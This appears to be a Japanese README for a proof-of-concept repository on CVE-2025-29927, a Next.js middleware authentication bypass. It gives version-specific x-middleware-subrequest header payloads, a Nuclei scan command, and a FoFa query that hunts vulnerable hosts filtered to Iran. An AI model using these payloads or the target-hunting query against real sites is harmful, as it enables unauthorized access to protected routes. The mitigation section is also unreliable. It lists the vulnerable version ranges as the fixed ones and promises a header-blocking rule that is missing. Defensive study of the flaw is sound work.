CVE-2025-29927

CVE-2025-29927: Next.js ミドルウェアバイパスの脆弱性 このリポジトリは、Next.js における CVE-2025-29927 脆弱性を示しています。この脆弱性では、内部ヘッダー x-middleware-subrequest を使用して、認証などのミドルウェアチェックをバイパスできます。

影響を受けるバージョン

Next.js 15.x < 15.2.3
Next.js 14.x < 14.2.25
Next.js 13.x < 13.5.9

緩和策と修正

• Next.js を修正済みバージョンにアップグレードしてください:

Next.js 15.x < 15.2.3
Next.js 14.x < 14.2.25
Next.js 13.x < 13.5.9

• アップグレードがすぐに不可能な場合は、ウェブサーバーまたはプロキシレベルで x-middleware-subrequest ヘッダーをブロックまたは削除してください:

影響シナリオ

• 認証バイパス: 攻撃者は適切な認証や認可なしに保護されたルートにアクセスできます。
• コンテンツセキュリティポリシー (CSP) バイパス: CSP ヘッダーがミドルウェア経由で追加されている場合、攻撃者はこれらのセキュリティ制御をバイパスし、クロスサイトスクリプティング (XSS) 攻撃を可能にする可能性があります。
• キャッシュポイズニングによるサービス拒否: 特定の構成では、攻撃者はキャッシュ制御ヘッダーを設定するミドルウェアをバイパスすることで、不正なコンテンツでキャッシュを汚染する可能性があります。

Next.js CVE-2025-29927 Nuclei テンプレートの使用

nuclei -u https://example.com -t ./CVE-2025-29927.yaml -fr

異なる Next.js バージョンにわたる悪用

• 12.2 より前のバージョンの場合:

x-middleware-subrequest: pages/_middleware
x-middleware-subrequest: pages/dashboard/_middleware
x-middleware-subrequest: pages/dashboard/panel/_middleware

• 12.2 以降のバージョンの場合:

x-middleware-subrequest: middleware
x-middleware-subrequest: src/middleware

• 13.2.0 以降のバージョンの場合:

x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware

FoFa を使用したターゲットのハンティング

header="x-middleware-rewrite" && country="IR"

この脆弱性のための無料のCTF

• CTF